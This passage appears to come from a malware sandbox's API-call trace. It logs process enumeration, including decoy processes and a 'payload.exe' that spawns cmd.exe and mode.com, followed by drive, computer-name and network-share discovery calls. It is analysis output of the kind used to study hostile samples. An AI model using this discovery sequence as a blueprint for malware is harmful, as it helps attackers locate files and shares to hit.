szExeFile="svchost.exe")) returned 1 [0070.543] lstrlenW (lpString="svchost.exe") returned 11 [0070.543] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.544] lstrlenW (lpString="svchost.exe") returned 11 [0070.544] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.545] lstrlenW (lpString="svchost.exe") returned 11 [0070.545] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.548] lstrlenW (lpString="svchost.exe") returned 11 [0070.548] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.548] lstrlenW (lpString="svchost.exe") returned 11 [0070.548] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.549] lstrlenW (lpString="svchost.exe") returned 11 [0070.549] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.550] lstrlenW (lpString="svchost.exe") returned 11 [0070.550] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.550] lstrlenW (lpString="svchost.exe") returned 11 [0070.550] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0070.551] lstrlenW (lpString="spoolsv.exe") returned 11 [0070.551] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.552] lstrlenW (lpString="svchost.exe") returned 11 [0070.552] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.553] lstrlenW (lpString="svchost.exe") returned 11 [0070.553] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0070.559] lstrlenW (lpString="audiodg.exe") returned 11 [0070.560] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0070.560] lstrlenW (lpString="sihost.exe") returned 10 [0070.560] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.561] lstrlenW (lpString="svchost.exe") returned 11 [0070.561] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0070.562] lstrlenW (lpString="taskhostw.exe") returned 13 [0070.562] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0070.562] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0070.562] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0070.563] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0070.563] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x43, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0070.564] lstrlenW (lpString="explorer.exe") returned 12 [0070.564] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0070.564] lstrlenW (lpString="Memory Compression") returned 18 [0070.564] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0070.565] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0070.565] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0070.566] lstrlenW (lpString="SearchUI.exe") returned 12 [0070.566] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0070.566] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0070.566] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0070.567] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0070.567] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0070.568] lstrlenW (lpString="taskhostw.exe") returned 13 [0070.568] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0070.568] lstrlenW (lpString="UsoClient.exe") returned 13 [0070.568] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0070.569] lstrlenW (lpString="taskhostw.exe") returned 13 [0070.569] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0070.570] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0070.570] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0070.570] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0070.570] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0070.571] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0070.571] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0070.572] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0070.572] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0070.572] lstrlenW (lpString="arcobviously.exe") returned 16 [0070.572] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0070.573] lstrlenW (lpString="preston disciplines.exe") returned 23 [0070.573] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0070.574] lstrlenW (lpString="boss.exe") returned 8 [0070.574] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0070.574] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0070.574] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0070.575] lstrlenW (lpString="placing.exe") returned 11 [0070.575] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0071.339] lstrlenW (lpString="heroes.exe") returned 10 [0071.339] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0071.340] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0071.340] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0071.360] lstrlenW (lpString="requirement moments.exe") returned 23 [0071.360] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0071.361] lstrlenW (lpString="sugar.exe") returned 9 [0071.361] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0071.362] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0071.362] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0071.362] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0071.362] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0071.363] lstrlenW (lpString="genealogy.exe") returned 13 [0071.363] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0071.364] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0071.364] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0071.368] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0071.368] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0071.369] lstrlenW (lpString="expenditure.exe") returned 15 [0071.369] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0071.370] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0071.370] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0071.371] lstrlenW (lpString="upgrading.exe") returned 13 [0071.371] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0071.371] lstrlenW (lpString="conservative.exe") returned 16 [0071.372] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0071.375] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0071.375] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0071.376] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0071.376] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0071.377] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0071.377] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0071.377] lstrlenW (lpString="gods violations duke.exe") returned 24 [0071.377] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0071.378] lstrlenW (lpString="dllhost.exe") returned 11 [0071.378] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0071.379] lstrlenW (lpString="conhost.exe") returned 11 [0071.379] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0071.380] lstrlenW (lpString="conhost.exe") returned 11 [0071.380] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0071.388] lstrlenW (lpString="payload.exe") returned 11 [0071.388] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0071.389] lstrlenW (lpString="cmd.exe") returned 7 [0071.389] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0071.390] lstrlenW (lpString="conhost.exe") returned 11 [0071.390] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0071.409] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0071.409] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0071.410] lstrlenW (lpString="conhost.exe") returned 11 [0071.410] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.411] lstrlenW (lpString="svchost.exe") returned 11 [0071.411] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0071.411] lstrlenW (lpString="mode.com") returned 8 [0071.411] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0071.412] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0071.412] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.413] lstrlenW (lpString="svchost.exe") returned 11 [0071.413] Process32NextW (in: hSnapshot=0x30c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0071.413] CloseHandle (hObject=0x30c) returned 1 [0071.414] Sleep (dwMilliseconds=0x1f4) Thread: id = 5 os_tid = 0xc38 [0038.179] WaitForSingleObject (hHandle=0x19fddc, dwMilliseconds=0xffffffff) returned 0xffffffff [0038.179] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d52b8 | out: hHeap=0x690000) returned 1 Thread: id = 6 os_tid = 0xb64 [0038.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x71c490 [0038.180] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x71c490, Size=0x20) returned 0x6cebd8 [0038.180] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6cebd8, Size=0x40) returned 0x6aa108 [0038.180] GetLogicalDrives () returned 0x4 [0038.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x70af78 [0038.180] GetComputerNameW (in: lpBuffer=0x70af7c, nSize=0x272ff64 | out: lpBuffer="NQDPDE", nSize=0x272ff64) returned 1 [0038.180] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1000) returned 0x6edaf0 [0038.180] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x272ff34 | out: lphEnum=0x272ff34*=0x6a5450) returned 0x0 [0038.181] WNetEnumResourceW (in: hEnum=0x6a5450, lpcCount=0x272ff30, lpBuffer=0x6edaf0, lpBufferSize=0x272ff38 | out: lpcCount=0x272ff30, lpBuffer=0x6edaf0, lpBufferSize=0x272ff38) returned 0x103 [0038.182] WNetCloseEnum (hEnum=0x6a5450) returned 0x0 [0038.182] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x272ff34 | out: lphEnum=0x272ff34*=0x6a99d8) returned 0x0 [0040.850] WNetEnumResourceW (in: hEnum=0x6a99d8, lpcCount=0x272ff30, lpBuffer=0x6edaf0, lpBufferSize=0x272ff38 | out: lpcCount=0x272ff30, lpBuffer=0x6edaf0, lpBufferSize=0x272ff38) returned 0x0 [0040.850] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1000) returned 0x3cf52b8 [0040.851] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6edaf0, lphEnum=0x272ff08 | out: lphEnum=0x272ff08*=0x6a50f0) returned 0x0 [0040.853] WNetEnumResourceW (in: hEnum=0x6a50f0, lpcCount=0x272ff04, lpBuffer=0x3cf52b8, lpBufferSize=0x272ff0c | out: lpcCount=0x272ff04, lpBuffer=0x3cf52b8, 